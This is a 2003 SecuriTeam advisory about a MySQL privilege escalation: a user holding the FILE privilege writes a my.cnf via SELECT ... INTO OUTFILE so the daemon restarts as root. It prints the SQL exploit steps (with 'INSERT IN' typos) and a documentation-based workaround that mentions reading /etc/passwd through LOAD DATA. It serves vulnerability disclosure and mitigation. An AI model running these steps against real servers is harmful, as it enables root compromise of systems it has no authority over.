

[EXPL] MySQL's Default Configuration Allows Modification of MySQL's Execution Owner (FILE Permissions)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-03/0029.html>

From: support@securiteam.com

Date: 03/10/03

From: support@securiteam.com

To: list@securiteam.com

Date: 10 Mar 2003 15:05:36 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

In the US?

Contact Beyond Security at our new California office
housewarming rates on automated network vulnerability
scanning. We also welcome ISPs and other resellers!

Please contact us at: 323-882-8286 or ussales@beyondsecurity.com

MySQL's Default Configuration Allows Modification of MySQL's Execution
Owner (FILE Permissions)

SUMMARY

Although this is not completely new method, the below method illustrates a step by step way of modifying the MySQL configuration so that the next time the MySQL daemon is restarted the user that owns the process will be root (thus allowing further compromise of the server, and its file system). The method works under the default configuration, and on system that have not used the preventive method as it is illustrated and recommended in the MySQL documentation.

DETAILS

Exploit:

Running the following SQL statement will modify the my.cnf in such away, as it will cause the next execution of MySQL server to run under the root user.

Securiteam: [EXPL] MySQL's Default Configuration Allows Modification of MySQL's Execution Owner (FILE Permissions)

After executing:

```
mysql>CREATE DATABASE roottxt;
mysql>USE roottxt;
mysql>CREATE TABLE hack (conf VARCHAR(80));
mysql>INSERT IN hack VALUES ('[mysqld]');
mysql>INSERT IN hack VALUES ('user=root');
mysql>SELECT * INTO OUTFILE '/path/to/mysql/datadir/my.cnf' FROM hack
mysql>QUIT
```

We create a my.cnf in mysql datadir containing:

```
[mysqld]
user=root
```

Workaround:

As illustrated in the documentation:

Do not give the FILE privilege to all users. Any user that has this privilege can write a file anywhere in the file system with the privileges of the mysqld daemon! To make this a bit safer, all files generated with SELECT ... INTO OUTFILE are writeable by everyone, and you cannot overwrite existing files. The FILE privilege may also be used to read any world readable file that is accessible to the UNIX user that the server runs as. One can also read any file to the current database (which the user need some privilege for). This could be abused, for example, by using LOAD DATA to load '/etc/passwd' into a table, which can then be read with SELECT.

See the following documentation for further information:

[http://www.mysql.com/documentation/mysql/bychapter/manual_MySQL_Database_Administration.html#Privilege s](http://www.mysql.com/documentation/mysql/bychapter/manual_MySQL_Database_Administration.html#Privilege_s)
http://www.mysql.com/documentation/mysql/bychapter/manual_MySQL_Database_Administration.html#Privilege sy

ADDITIONAL INFORMATION

The information has been provided by <mailto:bugsm@libero.it> bugs man.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.